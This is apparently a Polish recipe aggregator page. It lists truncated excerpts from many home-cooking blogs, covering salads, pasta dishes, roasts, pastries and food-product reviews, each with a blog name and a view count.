Zdrowa Kuchnia Sowy
Makaron żytni z ciecierzycą - proste danie, a jakie dobre! 245

makaronu, nawet nie pamiętam kiedy ostatnio. Pomysł na to danie przyszedł jak zaglądnęłam do lodówki, a tam czekała na wykorzystanie ciecierzyca, która została z innego dania i pomidory w sosie własnym z napoczętego słoika. Z czym to skomponować? No właśnie z makaronem! Czytaj więcej

Zdrowa Kuchnia Sowy
Ciasteczka jaglane z figami i tahini 250

figami, a także z dodatkiem następnego składnika, który mnie uzależnił, czyli pasty tahini. Od kiedy kupiłam gotową po prostu nie mogę się jej oprzeć: dodaję ją do koktajli, jaglanki, sosów i zastanawiam się, czy to nie przesada, bo wszystko (?) dobre, ale z umiarem, a u mnie tego umiaru w tym temacie zaczyna brakować;) Czytaj więcej

Zdrowa Kuchnia Sowy
Brak tytułu 190

semoliny oraz z e świeżych jaj. Dzięki temu, makaron nawet pod ługim czasie gotowania zachowuje swój kształt, jednocześnie przyrasta prawie 400%. Nie zawiera konserwantów i barwników. Polecany do: - zup - sosów - łazanek - potraw mięsnych Opakowanie: 250 g Tak wygląda po ugotowaniu. Faktycznie - nie łatwo było by go rozgotować. Nie jak wiele  makaronów, które po 4 minutach w wodzie  - rozpuszczają

kolorowotorcikowo
Brak tytułu 247

śliwek 1/3 kostki masła Cebulę pokroić w piórka, warzywa w plastry - usmażyć na oleju. Pod koniec smażenia dodać masło. Podsmażone warzywa wyłożyć do naczynia żaroodpornego. Rybę ułożyć na warzywach. SOS: 1 szkl. przecieru pomidorowego - NIE koncentratu, jest za gęsty ! 2 łyżki śmietany przyprawa uniwersalna Wymieszać składniki i polać rybę z warzywami. Piec 60 minut w 180 stopniach. Po upieczeniu posypać

kolorowotorcikowo
Brak tytułu 274

makaronowej i semoliny oraz ze świeżych jaj. Makaron nawet po bardzo długim czasie gotowania zachowuje swój kształt, jednocześnie przyrasta prawie 400%. Nie zawiera konserwantów i barwników. Polecany do: - zup - sosów - zapiekanek warzywnych, mięsnych, serowych - potraw mięsnych. Opakowanie: 250 g Makaron bardzo smaczny, idealnie pasuje do zupy pomidorowej, Nie klei się, nie zniekształca, nie rozgotowuje. Smaczny i zdrowy makaron, bez konserwantów

kolorowotorcikowo
GYROS sałatka 310

mięso przestygnie, połączyć wszystkie składniki. Dodać majonez i łyżkę ketchupu. UWAGA - jeśli robicie sałatkę na przyjęcie i chcecie żeby ładnie się prezentowała - polecam ułożyć ją warstwowo - przesmarowują kolejne warstwy sosem majonezowo-ketchupowym. Smacznego

kolorowotorcikowo
Domowe tortille 273

środka możecie dać wszystko na co tylko macie ochotę. W mojej tortilli znalazły się: mięso z kurczaka Filet kroimy w paski, podsmażamy na oleju. Przyprawiamy. Warzywa: sałata, pomidor, ogórek Sos czosnkowy: 2 łyżki majonezu, 2 łyżki jogurtu naturalnego, 2 ząbki czosnku - czosnek przecisnąć przez praskę, połączyć z majonezem i jogurtem.  Smacznego

kolorowotorcikowo
Sałatka brokułowa z fetą i słonecznikiem 250

Ostudzić.  Cebulkę pokroić w cienkie piórka; pomidor w kostkę. Ser feta pokroić w kostkę. Wszystkie składniki delikatnie wymieszać.  Jogurt połączyć z majonezem i przeciśniętym przez praskę czosnkiem. Sosem polać sałatkę. Ewentualnie posolić. Posypać słonecznikiem i koperkiem. Smacznego

kolorowotorcikowo
Szaszłyki z kurczaka z purre z zielonego groszku 161

filet z piersi kurczaka marynata Mięso pokroić w kostkę, zalać marynatą. Odstawić do lodówki na min. 40 minut. MARYNATA: 3 łyżki oleju rzepakowego 2 łyżki octu jabłkowego 2 łyżki sosu sojowego łyżka musztardy łyżeczka miodu łyżeczka estragonu Dokładnie wymieszać. Zamarynowane mięso nabijać ciasno na patyczki. Smażyć na patelni z każdej strony na rumiano. Można usmażyć na grillu. PUREE Z ZIELONEGO

kolorowotorcikowo
Brak tytułu 135

zestawów produktów funduje Premium Rosa. W skład zestawu wchodzi 5 produktów:  - syrop wiśniowy 500ml  - syrop z czarnej porzeczki 250 ml - konfitura z płatków róży - miód akacjowy - lutenica sos Fundator nagród zastrzega sobie, że zestawy mogą się różnić. Niemniej jednak ilość produktów pozostaje bez zmian

kolorowotorcikowo
Tarta z gruszkami 176

gotującego się płynu wrzucić gruszki, dusić pod przykryciem 20 minut. Ciasto wyjąć z lodówki, rozwałkować na okrągły placek. W formie do tarty ułożyć gruszki, zalać powstałym podczas duszenia sosem, nakryć ciastem. Piec w 180 stopniach około 45 minut. Upieczone ciasto lekko ostudzić i jeszcze ciepłe przełożyć na talerz. Zimne trudno wyjąć z formy

kolorowotorcikowo
Sałatka z jarmużu i pieczonych pomidorków 155

Ocetix ) sól, pieprz, przyprawa - zioła włoskie Jarmuż porwij na kawałki - ułóż na talerzu. Jajko pokrój na ćwiartki, połóż na środku liści jarmuży. Posyp kukurydzą, piórkami cebuli i pomidorkami. Składniki sosu połącz razem - polej sałatkę. Podawaj z grzanką. Ta sałatka to mój sposób na uczczenie dzisiejszego Światowego Dnia Musztardy :) Smacznego

kolorowotorcikowo
Okrasa z pstrąga 237

pęczka koperku sól łyżeczka miodu łyżka octu jabłkowego Ogórka obrać, wyciąć gniazda nasienne, pokroić "w zapałkę " Koper posiekać. Ogórki wymieszać z koprem. Ocet jabłkowy wymieszać z miodem - polać ogórki sosem. Na chlebie układać plaster okrasy, na wierzchu sałatkę z ogórka.   Smacznego

kolorowotorcikowo
Sałatka z cukinii ( do grilla ) 391

cukinia zmięknie. Ostygniętą  cukinie pokrój w kostkę. Czosnek posiekaj i rozetrzyj z solą. Oliwę połącz z sokiem z cytryny, czosnkiem, pieprzem. Cukinię wymieszaj z natką pietruszki, polej sosem - wymieszaj. Sałatka wyśmienicie pasuje do mięs z grilla. Smacznego

kolorowotorcikowo
Chlebowe paluszki z oliwkami i parmezanem 222

Paski ciasta smarować oliwą, posypać mieszanką sera, oliwek i rozmarynu. Zwijać w spiralkę, układać na blasze. Piec w 170 stopniach C do zrumienienia. Paluszki to doskonały dodatek do sałatek, sosów, zup,. a także jako przegryzka do piwa lub wina. Smacznego

kolorowotorcikowo
Zdrowe Warsztaty kulinarne 23-11-2013 216

dania zostały ukończone, zasiedliśmy wspólnie do stołu, by próbować tych pyszności.   Zaczęliśmy od sałatek: *  Sałatka orzechowa z granatem wg Joanny Jabłczyńskiej * Krewetki królewskie w pikantnym sosie z mango podane z sałatką z melona i świeżej mięty Były też tortille z plastrami wędzonego łososia, suszonymi pomidorami, sałatami i kremowym serkiem philadelphia.  Zupa krem z dyni i marchwi podbiła

kolorowotorcikowo
Food Camp 17-19 styczeń 2014 178

końcu przyszła pora na degustację. Pęczotto z kurczakiem było przepyszne. Pieczony halibut też pieścił moje kubki smakowe. Wołowina z kuskusem – smakowało ! A desery – mrożony deser chałwowy i lody z sosem piwnym – REWELACJA !     Wieczorem kolejne warsztaty – winne. Jerzy Sobieniak przekazał wiele praktycznych rad, wskazówek i uwag, jak wybierać dobre wino. Jak serwować, czego unikać, z czym podawać

kolorowotorcikowo
Sałatka ryżowa z tuńczykiem 257

Składniki: 1 woreczek ryżu brązowego, np KUPIEC 1 mała puszka tuńczyka w sosie własnym 1/3 puszki kukurydzy 1/2 cebuli sól, pieprz 1 łyżka jogurtu naturalnego 1 łyżka majonezu Wykonanie: Ryż brązowy ugotować w lekko osolonej wodzie, wg przepisu na opakowaniu. Odsączyć, wysypać z torebki i odstawić do ostygnięcia. Tuńczyka osączyć na sicie. Większe kawałki podrobić. Cebulę drobno posiekać. Ryż, kawałki

kolorowotorcikowo
Pesto szpinakowo, bazyliowo, migdałowe 323

Pesto to bardzo wdzięczny sos. A to dlatego, że możemy przygotować go z różnych produktów, odbiegając od klasycznego pesto na bazie bazylii i orzeszków piniowych. Zamiast orzeszków pinii warto użyć orzechów włoskich, migdałów, pestek słonecznika czy dyni. Bazylię zastąpić możemy niemalże każdą zieleniną, np szpinakiem, rukolą, zieloną pietruszką, a nawet liśćmi rzodkiewki. Składniki: 1,5 szklanki liści szpinaku

kolorowotorcikowo
Karkówka po królewsku 348

godzinę w chłodne miejsce (jeśli ktoś ma czas może być nawet na 3 godz.) 2. Cebule i pieczarki kroimy w plasterki i podsmażamy na oleju. 3.Plastry mięsa obtaczamy w sosie powstałym po połączeniu keczupu i majonezu (po 3 łyżki). 4. Mięso układamy w naczyniu żaroodpornym. 5. Pieczarki i cebulę nakładamy na kawałki karkówki, posypujemy bazylią, przykrywamy plastrami żółtego sera

Pasja Smaku
Kotleciki sojowe 186

Doprawiamy i mieszamy. 6. Z masy formujemy placki. Obtaczamy w rozkłóconym jajku i bułce tartej. 7. Placki smażymy z obu stron na złoty kolor. Rada: placki najlepiej smakują z sosem pieczarkowym lub innym. Są dobre zarówno na ciepło, jak i na zimno. Ja akurat podałam z mizerią

Pasja Smaku
Pierś z kurczaka faszerowana pieczarkami i serkiem topionym 332

ziołami. Polewamy oliwą. Pieczemy w piekarniku w temperaturze 200 st.C przez 20 minut. Piersi z kurczaka podawać z ryżem, ziemniakami lub ulubionymi dodatkami. Ja podałam z ryżem i sosem z kurek

Pasja Smaku
Kotelty mielone z cukinią i szczypiorkiem 200

robiłam zwyczajne kotlety), obtaczać je w bułce i smażyć na rozgrzanym oleju. Rada: Podawać z ziemniakami, frytkami lub ryżem oraz ulubioną sałatką. Bardzo dobre są także na zimno z sosem na bazie jogurtu

Pasja Smaku
Tagliatelle ze szpinakiem i czerwoną fasolą 335

jakiś czas mieszając. 7. Wsypać fasolę i kurczaka, bazylię do smaku i chwilę podgrzać. Dodać śmietanę i całość wymieszać, aż do uzyskania jednolitego koloru. 8. Wymieszać makaron z sosem i podawać

Pasja Smaku
Sałatka chrzanowa 44668

patelni. 2. Jajka ugotować na twardo i pokroić w kostkę. 3. Ser zetrzeć na tarce o grubych oczkach. Dodać pozostałe składniki. 4. Chrzan wymieszać z majonezem i jogurtem. Zalać sosem wszystkie składniki i dokładnie wymieszać.Doprawić do smaku. Posypać posiekanym szczypiorkiem.   insertCookd("a2e65ba76b639af1b6ed15741830c836

Pasja Smaku
Roladki z bakłażana 146

Dodać pomidory z puszki, gotować ok. 10 minut. Doprawić solą i pieprzem.  Na plastry bakłażana nanieść porcję farszu mięsno-szpinakowego, zwinąć w roladki. Ułożyć w naczyniu żaroodpornym. Podlać sosem, posypać serem, wstawić do piekarnika. Zapiekać ok. 20 minut w 190 st.C

Pasja Smaku
Placki ziemniaczane 293

samo. Dodać jajko, mąkę, posiekany szczypiorek i sól – wymieszać. Smażyć na małej ilości dobrze rozgrzanego tłuszczu z obu stron na złoty kolor.  Podawać ze śmietaną lub dowolnym sosem

Pasja Smaku
Paczka od Winiary 183

których jeszcze nie miałam okazji wypróbować. Zawartość paczki wyglądała tak: Od razu wpadły mi w oko rosołki, bo zawsze jest na nie w mojej kuchni zapotrzebowanie. Podobnie było z sosami i majonezem, który od razu zabrał brat. Chociaż najbardziej ucieszyłam się z "Pomysłu na... papirus" i ... pendriva! :D Już jutro zapraszam Was na przepisy z wykorzystaniem tych produktów. Na początek

Pasja Smaku
Jesień w lesie i grzybobranie. 183

jagód, które jeszcze uchowały się na krzakach. jeden z 3 koszyków :) reszta w bagażniku Bardziej szlachetne grzyby już się suszą w suszarce. Maślaki oczyszczone, obrane i z części zrobiłam sos na obiad. Reszta poszła do zamrażalnika w oczekiwaniu na kolejny :)  A z jagód jutro zrobię muffinki. Przypominam o KONKURSIE

Pasja Smaku
Pomysł na... Boloński garnek (Winiary) - opinia 396

rodzinie, cudem "zmęczyła" aż dwie, ale w dużym odstępie czasu - w końcu ktoś to musiał zjeść. Panowało ogólne niezadowolenie. Zbyt mocno czuło się ten "Pomysł na..." chemią, takim typowym sosem z proszku, chociaż wg informacji z opakowania nie ma w nim tych wszystkich konserwantów, glutaminianu i barwników.   Podejrzewam, że jeszcze kilka lat temu by mi smakowało - bo kiedyś

Pasja Smaku
Lekka sałatka z olejem słonecznikowym 262

jakiś czas robię sobie taką sałatkę na śniadanie lub kolację. Najczęściej dodawałam do niej sosy sałatkowe Winiary, ale tym razem postanowiłam wykorzystać olej słonecznikowy od firmy Zielony Nurt i sama doprawić sałatkę.  Jeśli chodzi o olej, to czuć, że jest dobrej jakości. Sałatka pod względem smaku jest z pewnością dużo mniej wyrazista niż te, do których jestem przyzwyczajona

Pasja Smaku
Lunchbox: Makaron z tuńczykiem 376

zjeść coś na szybko np. na kolację. Proste, dostępne składniki i zaledwie 20 minut na przygotowanie. Polecam :) Składniki (dla 3-4 osób): opakowanie makaronu świderki 2 puszki tuńczyka w sosie własnym sok z 1 cytryny suszony koperek pieprz, sól majonez Wykonanie: Makaron ugotować al dente w osolonej wodzie. Przepłukać zimną wodą, odcedzić i przełożyć do miski. Dodać tuńczyka

Pasja Smaku
Grillowany filet kurczaka z salsą arbuzowo-melonową 236

strony.  Sałatka: Miąższ arbuza i melona pokroić w kostkę, a cebulę drobno posiekać. Oliwę połączyć z sokiem z cytryny. Owoce wymieszać z cebulą, doprawić do smaku i polać sosem

Pasja Smaku
Lubelski kociołek: Gołąbki z kaszą jaglaną 206

pozostałe liście kapusty, by gołąbki się nie przypaliły. Między gołąbki warto wlać trochę oleju lub bulionu.  Zapiekać w piekarniku około godziny w temp. 180 st.C.  Podawać z sosem pieczarkowym lub grzybowym, chociaż świetnie smakują także bez niego. insertCookd("8ff88d288030bd61b87a3609ab2920c0

Pasja Smaku
Menu sylwestrowe - propozycje 338

kilka przepisów wśród którym może znajdziecie coś dla siebie: Ślimaczki z ciasta francuskiego z szynką Pieczone pierożki z wytrawnym farszem  Muszle ze szpinakiem i fetą w sosie pomidorowym Jajka faszerowane z łososiem   Ruloniki z szynki faszerowane masą jajeczną   Chińskie pierożki Roladki z wędzonego łososia Dipy do mięs, dań z grilla i warzyw Polecam także przejrzenie przepisów

Pasja Smaku
Pulpeciki gotowane na parze 166

bułkę, drobno pokrojoną i podsmażoną cebulę, pokrojoną w kostkę paprykę i ogórki oraz przyprawy. Wyrobić ręką i uformować pulpeciki. Gotować na parze przez 20 minut. Podawać z ryżem i sosem, np. na bazie serka wiejskiego. Cebulę pokroić w kostkę i podsmażyć, bułkę namoczyć w wodzie. Cebule i odsączoną bułkę dodać do mięsa mielonego. Wbić jajko, dodać pokrojoną w kostkę paprykę

Pasja Smaku
Pałki i udka kurczaka w marynacie jogurtowej 321

ostrości zależy tylko od Was. Ale mogę zapewnić, że aromat świetny! Składniki: 5 porcji pałek kurczaka 5 porcji udek 200 ml jogurtu naturalnego 2 ząbki czosnku 2 łyżki słodkiego sosu chili 3 łyżeczki curry 1 łyżeczka chili 2 łyżeczki brązowego cukru sól, pieprz Wykonanie: Porcje kurczaka umyć i osuszyć. Udka ponacinać.  Składniki marynaty połączyć dodając przeciśnięty przez praskę czosnek

Pasja Smaku
Dorsz zapiekany z porami 332

czosnkiem. Po 2-3 minutach dodać startą na tarce marchewkę i smażyć jeszcze przez 2 minuty. Warzywa zalać śmietaną, doprawić do smaku solą i pieprzem, doprowadzić do zagotowania.  Sosem zalać dorsza. Posypać płatkami migdałów. Piec przez 10 minut w temperaturze 200 st.C

Pasja Smaku
Boczek w wodzie kokosowej 245

Dziś w roli głównej przepyszny boczek, który jedliśmy z okazji majówki (dokładnie pierwszego maja). Jedliśmy to zbyt wiele powiedziane – boczek znikł w kilka chwil, co

slodkokwasnapl
Pierogi o smaku szarlotki 299

gorące ),ciasto powinno zrobić się gładkie i sprężyste . -ciasto uformować w wałek i podzielić na 20 części -utarte jabłka posypać łyżką cukru i zostawić by puściły sok , odcedzić odciskając sos i   doprawić do smaku cynamonem i cukrem -każdy kawałek ciasta rozwałkować na placuszek. - -na ciasto kłaść łyżeczkę farszu jabłkowego    i zlepiać pierożka -układać na wysypanej mąka tacce

Buniabaje w kuchni
WYKWINTNY PASZTET Z INDYKA LUB KRÓLIKA 459

rewelacyjny. Gdy raz się go spróbuje, inny już nie smakuje. Przekonajcie się sami. A na pewno się nie zawiedziecie. Przepis zaczerpnięty od Kurta Schellera. Można go podawać z chrzanem, sosem cumberland lub sam. Nam najbardziej smakuje z żurawiną z chrzanem. Pychotka! Składniki: -750g mięsa z indyka lub królika ( filet) -400g słoniny (lub podgardla) -200g boczku

Smaczne Zdrowe
INDYK PIECZONY W CAŁOŚCI Z NADZIENIEM Z WARZYW 288

apetycznie ale zapewniam Was, że w smaku jest boskie. Moja rodzinka je po prostu uwielbia. I tylko żal , że zbyt rzadko pojawia się na naszym stole. Bardzo rzadko przygotowuję sosy ale do takiego dania to mus. W tym celu odlewam nadmiar tłuszczu a samą esencję ( czyli to podpieczone) zalewam wodą wówczas lepiej się rozpuszcza i zagęszczam skrobią kukurydzianą. Powstanie pyszny

Smaczne Zdrowe
KSYLITOL SŁODYCZ ŻYCIA 220

gramów dziennie - w procesach trawienia z różnych źródeł pokarmu. Jako dodatek do żywności rozpoznamy go po symbolu E967. Dodaje się go do deserów, gum do żucia, cukierków, dżemów, sosów, wyrobów cukierniczych (głównie z kakao), musztard. Znajdziemy go też w kremach do smarowania pieczywa, likierach czy mrożonych rybach. Ksylitolem możemy zastąpić biały cukier we własnym domu. Świetnie nadaje się do słodzenia

Smaczne Zdrowe
SPAGHETTI BOLOGNESE Z WARZYWAMI 336

pokrywa się z oryginałem podawanym w Bolonii , dla nas jest idealny i od lat , z małymi zmianami , (dzisiejsza wersja z dodatkiem warzyw) przygotowujemy go w ten właśnie sposób. Sos mięsny można również podawać np. do pyz, tak lubią moje dzieci (nawyk szkolny), u nas najczęściej jednak bywa z makaronem spaghetti (można również podać go z każdym innym rodzajem makaronu). Składniki

Smaczne Zdrowe
ZUPA GULASZOWA 314

garnku, wrzucić cebulę i przyrumienić na złoty kolor. Dodać mięso posypać papryką, posolić , dalej smażyć . Podlać winem lub wodą i dusić na wolnym ogniu pod przykryciem ok.1h. Gdy sos się wygotuje do ok.1/3 objętości wlać połowę bulionu. Ziemniaki obrać, umyć i pokroić w kostkę. Strąki papryki umyć, podzielić na pół , oczyścić z gniazd nasiennych i białych włókien, pokroić w kostkę

Smaczne Zdrowe
MAKARON Z KURCZAKIEM I GRZYBAMI 250

pieprzem. Dokładamy usmażone wcześniej boczniaki, doprawiamy rozmarynem, mieszamy.  Na końcu dodajemy serek mascarpone i doprowadzamy do wrzenia. Podajemy z makaronem, np.pappardelle lub innym dowolnym. Najlepiej wymieszać makaron z sosem w garnku i taki nakładać na talerze. Smacznego

Smaczne Zdrowe
SOCZYSTY SCHAB Z PIEKARNIKA 263

mnie jeden był obsypany czosnkiem i rozmarynem oraz lekko ziołami prowansalskimi. Drugi natomiast czosnkiem, ziołami prowansalskimi oraz świeżą szałwią. Zawijamy szczelnie w papier do pieczenia i wkładamy na blaszce (sos może wyciekać) do nagrzanego do 200*C piekarnika na ok.40-45 minut. Wyjmujemy z piekarnika i pozostawiamy na ok.10 minut, a następnie kroimy na plastry i serwujemy z ulubionymi dodatkami

Smaczne Zdrowe
MAKARON ORKISZOWY Z ŁOSOSIEM 232

orkiszowy (odkąd go odkryłam mam mniejsze wyrzuty sumienia, że karmię rodzinkę niezdrową pszenicą, bowiem makarony to u nas podstawa, przynajmniej u moich dzieci...) z łososiem smażonym bez tłuszczu, z sosem na bazie mascarpone. U nas wszyscy go uwielbiają, może zasmakuje również i Wam... :-) Składniki: - kawałek łososia (u mnie filet ze skórą ok.350g) - 150g mascarpone - ząbek czosnku - sól, świeżo mielony pieprz

Smaczne Zdrowe
KASZA JAGLANA NA SYPKO 253

przygotowałam ją pierwszy raz bywa u nas dość często, moja rodzinka jest bardzo kaszowa (uwielbiamy zwykłą kaszę jęczmienną, pęczak, gryczaną białą ) a teraz także jaglaną. Może być dodatkiem do sosu ale równie smaczna jest sama. Ma cudowny, lekko orzechowy zapach. Kiedyś w drodze eksperymentu przygotowałam ją zalewając podwójną ilością wody, (tak jak w przepisie na opakowaniu), tzn. szklanka kaszy

Smaczne Zdrowe
Grzyby gatunkami. Gołąbek grynszpanowy - gołąbek białozielonawy 412

gatunku, ale postaram się to wkrótce uzupełnić. W przepisie na Gołąbki z patelni wykorzystałam inny gatunek, ale gołąbki grynszpanowe można przyrządzić w taki sam sposób albo dorzucić je do sosu czy potrawki z mieszanki różnych grzybów. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Truskawkowy zawrót głowy 169

nich Truskawki : Koktajl truskawkowo-poziomkowy Konfitura truskawkowa Tort truskawkowy   Koktajl truskawkowo-bananowy Pyszny deser lub śniadanie z domową granolą Truskawki na patyku Sałatka ze szpinakiem i lekkim sosem truskawkowym Sezonu jeszcze nie zamykamy, bo mamy w zanadrzu przynajmniej jeszcze dwie propozycje, które pojawią się wkrótce, dlatego odwiedzajcie nas, by niczego nie przegapić

Delicious Titbits
Kurczaczki w płatkach kukurydzianych 2048

taką panierkę ale kto jeszcze nie robił niech zrobi jak najszybciej. Kurczaczki w płatkach kukurydzianych są pyszne. Chrupiąca panierka i soczyste mięsko w środku. Dobrze smakują podane z sosem czosnkowy. Składniki: 2 piersi z kurczaka 1 jajko 0,5 szkl maślanki sól pieprz słodka papryka 2 szkl płatków kukurydzianych olej do smażenia Przygotowanie:   Piersi oczyścić, umyć i osuszyć. Pokroić

Ala piecze i gotuje
Paruchy z truskawkami 234

woda zacznie wrzeć ułożyć paruchy i parować 6-8 minut. Oczywiście czynność powtórzyć, ja miałam mały garnek i wchodziło mi ok 5 bułek. Paruchy podawać z musem truskawkowym lub sosem waniliowym z jogurtu. Ja robię duże buły z dwoma truskawkami wychodzi mi ok 26 sztuk, można zrobić mniejsze. Nadwyżkę można zamrozić a potem odsmażyć na masełku lub oleju

Monia miesza i gotuje
Kluski ziemniaczano-serowe 414

romby. Zagotowujemy wodę z solą, wrzucamy kluski i gotujemy, czekamy aż kluski wypłyną na powierzchnię, oznacza to że są gotowe. Wyciągamy kluski ziemniaczano-serowe łyżką cedzakową. Podajemy kluski z sosem pieczeniowym z szynką. Smacznego! The post Kluski ziemniaczano-serowe appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Wątróbka pieczona z jabłkiem i śliwkami 242

wątróbkę pieczoną z jabłkiem i śliwkami est godny polecenia. My wątróbkę przygotowujemy przynajmniej raz w miesiącu, a przepisów na blogu jest kilka w różnych zestawieniach smakowych: Wątróbka drobiowa w sosie chili Wątróbka ze szpinakiem i pomidorkami Wątróbka wieprzowa panierowana palce lizać Wątróbka drobiowa w ziołach prowansalskich Wątróbka drobiowa smażona z cebulką Dzisiaj zrobiłam w zupełnie innym zestawieniu smakowym: z jabłkiem

Damsko-męskie spojrzenie na kuchnię
Łopatka pieczona z oregano 174

przed pieczeniem, wykorzystałam mieszankę przypraw z których przygotowywałam schab dojrzewający (1 łyżkę oregano, po 1 łyżeczce wędzonej papryki, ostrej papryki, czosnku granulowanego, pieprzu młotkowanego z kolendrą, oraz po łyżce sosu sojowego, miodu, octu balsamicznego i oleju). Przygotowanie : Umyte i osuszone mięso łopatki trochę obrobiłam nożem wyrównują boki, łopatka ma to do siebie, że nie ma zwartej formy jak schab

Damsko-męskie spojrzenie na kuchnię
Latawice też muszą jadać - czyli coś gotowego 1169

Menu jak na początek spore . Różnego rodzaju pizze , wybór makaronów , zapiekanek, mięs z grilla. sałatek, dań z pieca. Ceny do przyjęcia. Obsługa bardzo miła. Zamówiłam na próbę : Calzone ( pieróg) sos, szynka, ser, pieczarki --17 zł Sałatkę grecką ( kapusta pekińska ,ser feta, ,pomidor, ogórek, cebula, czarne oliwki ) --15 zł + do sałatki 4 gorące paluch drożdżowe Punktualnie o 13.00 ( bo tak zamawiałam

Buniabaje w kuchni
Sałatka z tuńczyka 396

przepyszna sałatka, tym razem z tuńczykiem. Rewelacyjna jako przekąska, dodatek do obiadu czy też na grilla. Najważniesze , że gotowa w  5 min :) Polecam Zaczynamy :) Składniki: puszka tuńczyka w sosie własnym ok 250gr pomidorków  koktailowych pół ogórka szczypiorek pieprz oliwa z oliwy Wykonanie: Kroimy pomidorki na pół. Dodajemy do pomidorków podrobnionego tuńczyka, pokrojony ogórek w pół talarki I szczypior

Smaki Edyty
Śląskie niebo 338

przy kądzieli. Obecnie danie wpisane jest na listę produktów tradycyjnych. Głównym składnikiem potrawy jest gotowane, uwędzone lub peklowane mięso wieprzowe, ale także stosowana zamiennie świeża wieprzowina, a wszystko polane sosem z suszonych owoców. Czytaj więcej

Bernika - moj kulinarny pamietnik
eat. 329

lubię najbardziej.  Sałatka z wątróbkami z dorsza  1 puszka wątróbek z dorsza w naturalnym oleju kilka liści sałaty lodowej pomidor ser lazur   prażone pestki słonecznika Sos: sok z połowy cytryny łyżka musztardy dijon 2 łyżki oliwy z oliwek łyżeczka miodu 2 łyżki wody 1 łyżeczka octu winnego jabłkowego Sałatka jakże banalna. Jednak do smaku wątróbek z dorsza

Sajkofanka smaku
Paczka zdrowia w samo południe 219

dowiecie się więcej! Ja kupiłam różne kasze i bakalie, które w kuchni dają milion możliwości do wykorzystania! Kasze: jaglaną, gryczaną, jęczmienną, kukurydzianą można podawać z ostrym lub słodko-kwaśnym sosem, albo jako danie samodzielne lub dodatek do mięs.  Płatki owsiane czy jęczmienne to idealne śniadanie. Można dodać mleko lub jogurt i koniecznie bakalie. Suszone śliwki, morele, pestki dyni

Sajkofanka smaku
Grzybki i wołowina 244

font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Dziś obiad przygotowała moja mama, a ja dorzuciłam tylko kilka świeżych grzybów do sosu. Na  stole czekała na nas pyszna wołowina z warzywami. Do tego kasza jęczmienna z suszonymi pomidorami i pietruszką, a do tego zasmażane buraczki. Pomyślałam wtedy

Sajkofanka smaku
Sweet like chocolate 231

prawdziwą, gorzką o min. 60% zawartości kakao można używać nie tylko do przygotowywania deserów. Świetnie sprawdza się jako dodatek do wykwintnych dań takich,  jak kaczka czy królik. Słodki sos możemy przełamać nutką pikantnego chili bądź dodatkiem ziaren soli morskiej. Zapewniam Was, że tak szalone połączenie smakowe jest naprawdę doskonałe!  Dziś jednak proponuję Wam na weekend mega słodkie czekoladowe

Sajkofanka smaku
Wołowina na sałacie 206

owocu granta kilka listków świeżej mięty łyżeczka miodu łyżka octu winnego jabłkowego świeżo mielony pieprz  Kotleciki: 300g mielonego mięsa wołowego marynata: łyżka musztardy dijon ząbek czosnku 2 łyżki sosu sambal oelek  sól, pieprz  + dwa plastry sera (ja użyłam goudę z czosnkiem niedźwiedzim - takie rarytasy u mnie w sklepiku ;) Zabieramy się do dzieła: Wołowinę mielimy (możemy kupić

Sajkofanka smaku
Rostbef 265

chwilę, by soki wewnątrz mięsa równomiernie się rozeszły. Na tłuszczu, który pozostał ze smażenia połóż kiść pomidorów koktajlowych i przesmaż, aż skórka lekko popęka, a pomidorki delikatnie zmiękną. Przygotuj sos: czerwone wino zredukuj na ogniu, by nabrało nieco gęstszej konsystencji. Podaj gotowe na talerz

Sajkofanka smaku
Zapiekanka 492

blaszkę wysmarowaną tłuszczem i pieczemy około 40 minut w 180 stopniach. 10 minut przed końcem pieczenia posypujemy utartym serem i chwilę zapiekamy. Zajadamy na samo lub z ulubionymi sosami - u mnie ukochany czosnkowy :) Smacznego

Sajkofanka smaku
Czerwone ziemniaczki pieczone 261

kroimy na mniejsze kawałki. Cebulkę obieramy i kroimy dowolnie. Dorzucamy kapary. Wszystko polewamy olejem i doprawiamy ziołami. Wstawiamy do piecyka nagrzanego do 220 stopni na około40 minut. Podajemy z sosem czosnkowym

Sajkofanka smaku
Spaghetti ze szpinakiem, gorgonzolą i twarożkiem wędzonym #omnomnom 314

żeby był al dente. Ugotowany makaron odcedzamy na sicie. Na patelni rozgrzewamy oliwę, wrzucamy szpinak i smażymy, aż odparuje woda.  Do szpinaku dorzucamy posiekane ząbki czosnku i gorgonzolę. Sos łączymy z makaronem. Razem wszystko podgrzewamy na małym ogniu, aby składniki dokładnie się połączymy i okleiły nasz makaron.Na koniec wrzucamy pokrojoną papryczkę chili, dodajemy pieprz i sól do smaku

Sajkofanka smaku
Penne z pesto z rukoli z orzechami nerkowca i granatem #omnomnom 277

Makaron w kształcie skośnej rurki, czyli penne, jest jednym z moich ulubionych. Nie tylko do środka dostaje się sos, ale także obtacza każdą rurkę oddzielnie - to sprawia, że wyczuwany jest w każdym kęsie. Dzięki temu możemy dłużej delektować się smakiem :)  Dziś fusion w mojej ulubionej wersji - z pesto z rukoli, która zaostrza smak delikatnego makaronu Om nom nom . Orzechy

Sajkofanka smaku
Pęczotto z kurczakiem, fenkułem, suszoną śliwką i listkami świeżej mięty 277

garść suszonych śliwek - garść listków świeżej mięty - jeden świeży fenkuł włoski - przyprawy: sól, pieprz ziołowy, kozieradka - łyżka miodu Marynata do kurczaka: - łyżeczka oleju - łyżeczka musztardy - łyżeczka miodu - łyżeczka sosu sojowego - sól, pieprz, tymianek - ząbek czosnku Pierś z kurczaka myjemy, oczyszczamy, kroimy na mniejsze kawałki, po czym marynujemy przez noc we wcześniej przygotowanej marynacie.  Następnego dnia wyjmujemy najpierw kurczaka

Sajkofanka smaku
Rolada z indyka z papryką i marchewką 286

rękawa do pieczenia i szczelnie związać . Ułożyć roladę w naczyniu żaroodpornym i włożyć do nagrzanego piekarnika 200 st na 1 godzinę . Po godzinie rozciąć rękaw roladę polać powstałym sosem i włożyć jeszcze

Ala piecze i gotuje
Leczo z cukinią 183

angielskie, paprykę słodką, przecier, ketchup i wszystko razem gotować do miękkości. Doprawić do smaku. W czasie gotowania często mieszać żeby się nie przypaliło. Jeśli lubimy leczo na gęsto możemy sos zagęścić mąką

Ala piecze i gotuje
Ziemniaczki pieczone 307

